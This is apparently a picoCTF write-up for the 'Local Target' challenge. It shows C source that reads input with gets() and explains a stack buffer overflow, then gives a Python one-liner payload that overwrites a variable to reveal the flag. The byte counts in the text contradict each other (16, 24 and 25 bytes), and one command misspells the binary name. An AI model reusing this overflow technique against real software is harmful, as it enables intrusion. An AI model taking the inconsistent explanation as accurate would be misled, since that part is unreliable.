# Local Target

<figure><img src="/files/090xV7CtmsvD8QzF09pE" alt=""><figcaption></figcaption></figure>

After you launch the instance you will get a binary file and source code of that binary file&#x20;

Here's the local source code :

<pre><code><strong>#include &#x3C;stdio.h>
</strong>#include &#x3C;stdlib.h>



int main(){
  FILE *fptr;
  char c;

  char input[16];
  int num = 64;
  
  printf("Enter a string: ");
  fflush(stdout);
  gets(input);
  printf("\n");
  
  printf("num is %d\n", num);
  fflush(stdout);
  
  if( num == 65 ){
    printf("You win!\n");
    fflush(stdout);
    // Open file
    fptr = fopen("flag.txt", "r");
    if (fptr == NULL)
    {
        printf("Cannot open file.\n");
        fflush(stdout);
        exit(0);
    }

    // Read contents from file
    c = fgetc(fptr);
    while (c != EOF)
    {
        printf ("%c", c);
        c = fgetc(fptr);
    }
    fflush(stdout);

    printf("\n");
    fflush(stdout);
    fclose(fptr);
    exit(0);
  }
  
  printf("Bye!\n");
  fflush(stdout);
}

</code></pre>

**📜 Code Analysis**

Here's the critical snippet of code:

```c
cCopyEditchar input[16];
int num = 64;

gets(input);

if( num == 65 ){
    // prints flag
}
```

* The buffer `input[16]` is only **16 bytes**.
* `gets(input)` is dangerous  it **doesn't do bounds checking**, meaning it allows the user to input more than 16 bytes, potentially **overwriting adjacent memory**.
* On the stack, variables are stored contiguously. Since `num` comes right after `input`, overflowing `input` can overwrite `num`.

**Vulnerability Identified: Buffer Overflow**

If we input **more than 16 bytes**, we can **overwrite the `num` variable**. Our goal is to overwrite it with the value `65` (decimal), or `0x41` in hex.

#### **Exploitation Steps**

Let's break down the exploit:

**1. Understand Stack Layout**

* `input` is 16 bytes.
* On most systems using a stack that grows downward, the variable `num` will be located right *after* the `input` buffer.
* So, the input must be **16 bytes to fill the buffer**, then **4 bytes to overwrite `num`**.

**2. Construct Payload**

We want to send a total of 25 bytes:

```bash
python3 -c "print('A'*24 + '\x41\x00\x00\x00')" | ./local_target
```

Explanation:

* `'A'*16` fills the buffer (`input[16]`)
* `'\x41\x00\x00\x00'` is 65 in little-endian (used on most x86/x86\_64 systems)
* This overwrites `num` to 65

**3. Run the Exploit**&#x20;

`python3 -c "print('A'*24 + '\x41\x00\x00\x00')" | ./local_taregt`

<figure><img src="/files/XFdgNyY7aZr3di0hcgBP" alt=""><figcaption></figcaption></figure>

Now let's try this payload on picoctf and get the flag&#x20;

<figure><img src="/files/DlQ1oj36p6XfBl9I3cZ7" alt=""><figcaption></figcaption></figure>

Bingo we got our flag


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